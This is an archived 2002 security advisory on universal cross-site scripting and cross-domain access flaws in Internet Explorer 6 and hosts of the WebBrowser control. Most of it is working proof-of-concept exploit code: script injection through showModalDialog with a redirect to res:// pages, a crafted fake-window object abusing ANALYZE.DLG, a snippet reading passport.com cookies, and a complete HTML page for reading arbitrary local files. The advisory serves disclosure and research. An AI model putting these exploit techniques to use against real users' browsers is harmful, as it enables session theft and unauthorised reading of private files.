26th Sep 2002 [SBWID-5273]
COMMAND
IE allows universal Cross Site Scripting
SYSTEMS AFFECTED
Any application that hosts the WebBrowser control (IE6+). Such as :
Microsoft Internet Explorer
Microsoft Outlook
Microsoft Outlook Express
Tested on:
IE6sp1 Win2000 SP2, with all patches.
IE6sp1 Windows 98, with all patches.
IE6sp1 Windows 98 SE, with all patches.
PROBLEM
In Thor Larholm security advisory [TL#002] :
Among its extensive functionality, IE employs a set of useful methods
to display dialog windows. These, the showModalDialog and
showModelessDialog methods, can transfer objects from the originating
page to the page being displayed inside the dialog, by use of the
dialogArguments property.
Discussion
==========
The dialogArguments property tries to prevent interaction between
remote pages by comparing the location of the originating page and the
dialog page.
When opening a dialog window (e.g. res://shdoclc.dll/policyerror.htm)
from another protocol, port or domain (e.g. http://jscript.dk), the
validation code in IE will ensure that no objects are transferred, and
no interaction is as such possible. When both pages are on the same
protocol, port and domain, the validation code will allow interaction.
Unfortunately, the validation code only checks the original URL instead
of the final URL, and it is as such possible to bounce a HTTP redirect
from the originating site to the desired dialog page that will allow
interaction.
It is worth noting that this is not in any way limited to the RES://
protocol. The flawed dialogArguments property also allows interaction
between different domains (e.g. YAHOO.COM to MICROSOFT.COM), different
protocols (HTTP to HTTPS, HTTP to FILE, etc.) and different ports (port
80 to port 21, port 80 to port 25, etc.)
For the sake of demonstration, we take a look at shdoclc.dll which
contains several resource in the HTML category, labeled
POLICYERROR.HTM, POLICYLOOKING.HTM, POLICYNONE.HTM and
POLICYSYNTAXERROR.HTM. These files contain the following script code:
var site = window.parent.dialogArguments.url;
function printSite()
{
document.write( site);
}
Exploit
=======
<script>
var sCode = '<'+'script>alert("This is running from: " +
location.href);top.close()</'+'script>';
window.showModalDialog("redirect.asp", {url:sCode})
</script>
Redirect.asp contains:
<%@Language=Jscript%><%
Response.Redirect("res://shdoclc.dll/policyerror.htm");
%>
Demonstration
=============
I have put together some proof-of-concept examples:
- Simple static examples: Demonstratory fixed code
- Advanced example: Input arbitrary script code
- Hijacking MSN Messenger: An updated version of a previous bulletin
- Executing arbitrary commands: How CodeBase was not fixed
These can be found at :
http://jscript.dk/adv/TL002/
Update (19 April 2002)
======
GreyMagic Software [[email protected]] adds :
"shdoclc.dll" also contains an "ANALYZE.DLG" file, which is not as easy
to exploit as the policy error files in IE6 that Thor demonstrated, but
a bit of manipulation gets us the same results.
"ANALYZE.DLG" seemed to be programmed with surprising care, using
insertAdjacentText when "unsafe" content may appear instead of
innerHTML or insertAdjacentHTML.
However, there is one place where the programmer didn't take enough
caution, line 187 contains (comments added to explain the code):
----------
// Expected to return an array of <link> elements.
// theDocument variable used in this line is the document property of the
// argument sent to the dialog, an expected window object.
links = theDocument.all.tags("link");
// Sends the array for inspection by another function
retVal = checkLinkReadyStateComplete(links, reportLocation);
----------
and inside the function checkLinkReadyStateComplete:
----------
if (objects == null)
return retVal;
for (i=0; i < objects.length; i++) {
element = objects(i);
if (element.rel.toLowerCase() == "stylesheet"
|| element.rel.toLowerCase() == "alternate stylesheet")
{
if (element.readyState != "complete" && element.readyState != 4) {
reportLocation.insertAdjacentHTML("BeforeEnd",
L_StyleSheetNotInstalled_Text + element.href + "<BR><hr>");
retVal = true;
}
}
}
----------
The problem is, of course, in line 205, a dangerous concatenation
inside a call to insertAdjacentHTML.
Exploit:
========
<script language="jscript">
// HTML to be injected (will run in the "My Computer" zone)
var sHTML="<b>We're in!</b>";
// Object to return from tags("link"), must be a function because they use
// objects(i) instead of objects[i], VB style collection access.
function oExploit(iSec) {
return {
// Satisfy line 201
rel:"stylesheet",
// Satisfy line 204
readyState:"exploit",
// Exploit line 205
href:sHTML
};
}
// A length property so it will enter the loop
oExploit.length=1;
// A fake window object, so no errors will be raised during the process,
// the custom "tags" method will return an empty array for any element
// other than our target (<link>), in which case it will return the oExploit
// object above.
var oSecurity={
document:{
all:{
tags:function (sTag) {
return sTag=="link" ? oExploit : [];
}
}
}
}
// Run exploit, getFile.asp redirects to res://shdoclc.dll/analyze.dlg
// and oSecurity (fake window) is sent as the dialog argument.
showModelessDialog("getFile.asp",oSecurity);
</script>
Several demonstrations of this exploit are available at:
http://security.greymagic.com/adv/gm001-ax/.
Notes:
======
IE5 acts very strangely with this exploit, it works SOMETIMES, a few
reloads usually get it to run properly. It seems to have a moral
problem with redirecting to res:// files.
Update (11 July 2002)
======
Thor Larholm, Security Researcher PivX Solutions, LLC
[http://www.PivX.com] adds :
Any document can extend the properties exposed by the OBJECT element,
and any namespace conflicts are handled by querying the object property
which is a duplicate reference to the embedded document. When embedding
a document from the same site (same protocol, port and host) it is
possible to make a reference to the object property without
circumventing any Cross Domain security checks. After having
established a reference we will then change the location of the
document being embedded. The location changes but the reference stays,
and we now have complete access to the DOM of the foreign document. The
default object being referenced by the object property in the case of
text/html is the document object. The simple proof-of-concept exploit
below will read the cookie from passport.com. The OBJECT element is not
restricted to embedding HTML documents, but can embed objects of any
type. As such, this vulnerability could be extended even further.
Exploit
=======
<object id="data" data="empty.html" type="text/html"></object>
<script>
var ref=document.getElementById("data").object;
ref.location.href = "http://www.passport.com";
setTimeout("alert(ref.cookie)",5000);
</script>
Also there is some proof-of-concept examples:
- Read foreign cookies - Read local (or foreign) file - Execute
arbitrary commands
These can be found at http://www.PivX.com/larholm/adv/TL003/
Update (12 July 2002)
======
Matthew Murphy exploit to local file access via IE
[http://www.murphy.101main.net/localread.htm] :
<HTML>
<HEAD>
<OBJECT id="dataobj" data="/" type="text/html" style="display:none"></OBJECT>
<SCRIPT defer>
var ref = document.getElementById("dataobj").object;
var str;
function readFile() {
output.value = "";
var str = "file://" + file.value;
if (str.toUpperCase().substr(str.length - 4) == ".TXT") {
window.setTimeout("reRead()", 2000);
str += " .";
} else {
str += ".";
}
ref.location.href = str;
window.setTimeout("readMe()", 1000);
}
function reRead() {
if (output.value == "") {
ref.location.href = str + ".";
window.setTimeout("readMe()", 1000);
}
}
function readMe() {
if (ref.documentElement.innerText == undefined) {
if (ref.documentElement.innerHtml == undefined) {
if (ref.body.innerText == undefined) {
if (ref.body.innerHtml == undefined) {
alert("EMPTY FILE!");
} else {
output.value = ref.body.innerHtml;
}
} else {
output.value = ref.body.innerText;
}
} else {
output.value = ref.documentElement.innerHtml;
}
} else {
output.value = ref.documentElement.innerText;
}
}
</SCRIPT>
<META name="Author" content="Matthew Murphy">
<META name="Description" content="TL003 and Binary Files">
<TITLE>Using OBJECT to Read Binaries</TITLE>
<BODY>
<STRONG>Internet Explorer OBJECT File Reading (Binaries)</STRONG><BR><BR>
On June 25, Patrick Zumstein of PivX Solutions alerted Thor Larholm, Georgi Guninski, and PacketStorm security to a possible vulnerability in Internet Explorer. Thor and Patrick published an advisory on the vulnerability on July 10. Mr. Larholm provided several <A href="http://www.PivX.com/larholm/adv/TL003/">examples</A>, including one allowing local file reading. However, Mr. Larholm's exploit was only capable of reading HTML documents and plain text files. In an enhancement of that exploit, I have combined this issue, and one reported by Andreas Sandblad (Overriding filetype handlers) to allow images, and other binaries to be read via this vulnerability.<BR><BR>
<STRONG>NOTE: Some types of files cannot be read via this vulnerability.</STRONG><BR><BR>
Enter a file name in the box below to see its contents (up to the first NULL byte):<BR><BR>
File path: <INPUT type="text" name="file"><BR>
<A href="#" onclick="readFile()">Read it!</A><BR><BR>
<TEXTAREA name="output" value="c:\config.sys" style="width:700px; height:300px"></TEXTAREA>
</BODY>
</HTML>
SOLUTION
Disable scripting.
Get a fix ?